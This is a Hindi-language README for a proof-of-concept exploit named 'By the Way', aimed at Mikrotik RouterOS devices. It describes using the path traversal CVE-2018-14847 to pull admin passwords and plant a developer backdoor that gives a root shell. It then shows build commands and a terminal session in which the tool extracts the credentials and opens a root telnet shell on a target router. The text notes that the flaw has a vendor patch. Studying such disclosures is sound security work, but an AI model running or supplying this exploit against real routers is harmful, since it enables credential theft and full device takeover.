
By the Way एक एक्सप्लॉइट है जो RouterOS संस्करण चलाने वाले Mikrotik डिवाइसों पर रूट शेल सक्षम करता है:
By the Way एक एक्सप्लॉइट है जो निम्नलिखित RouterOS संस्करण चलाने वाले Mikrotik डिवाइसों पर रूट शेल सक्षम करता है:
यह एक्सप्लॉइट पाथ ट्रावर्सल भेद्यता CVE-2018-14847 का लाभ उठाकर एडमिन पासवर्ड निकालता है और डेवलपर बैकडोर को सक्षम करने के लिए एक "option" पैकेज बनाता है। एक्सप्लॉइटेशन के बाद हमलावर एडमिन के पासवर्ड के साथ रूट उपयोगकर्ता "devel" का उपयोग करके Telnet या SSH से कनेक्ट कर सकता है।
Mikrotik ने CVE-2018-14847 को अप्रैल में ही पैच कर दिया था। हालाँकि, जब तक यह PoC नहीं लिखा गया था, मुझे नहीं लगता कि यह सार्वजनिक रूप से खुलासा किया गया था कि इस हमले का उपयोग फ़ाइलें लिखने के लिए किया जा सकता है। Mikrotik की एडवाइज़री आप यहाँ पा सकते हैं:
ध्यान दें कि, हालाँकि यह एक्सप्लॉइट Winbox के लिए लिखा गया है, इसे HTTP पर पोर्ट किया जा सकता है, बशर्ते आपको एडमिन क्रेडेंशियल्स की पूर्व जानकारी हो।
यह PoC निम्न पर निर्भर करता है:
mkdir build
cd build
cmake ..
make
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
Login failed, incorrect username or password
Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251
╔╗ ┬ ┬ ┌┬┐┬ ┬┌─┐ ╦ ╦┌─┐┬ ┬
╠╩╗└┬┘ │ ├─┤├┤ ║║║├─┤└┬┘
╚═╝ ┴ ┴ ┴ ┴└─┘ ╚╩╝┴ ┴ ┴
[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.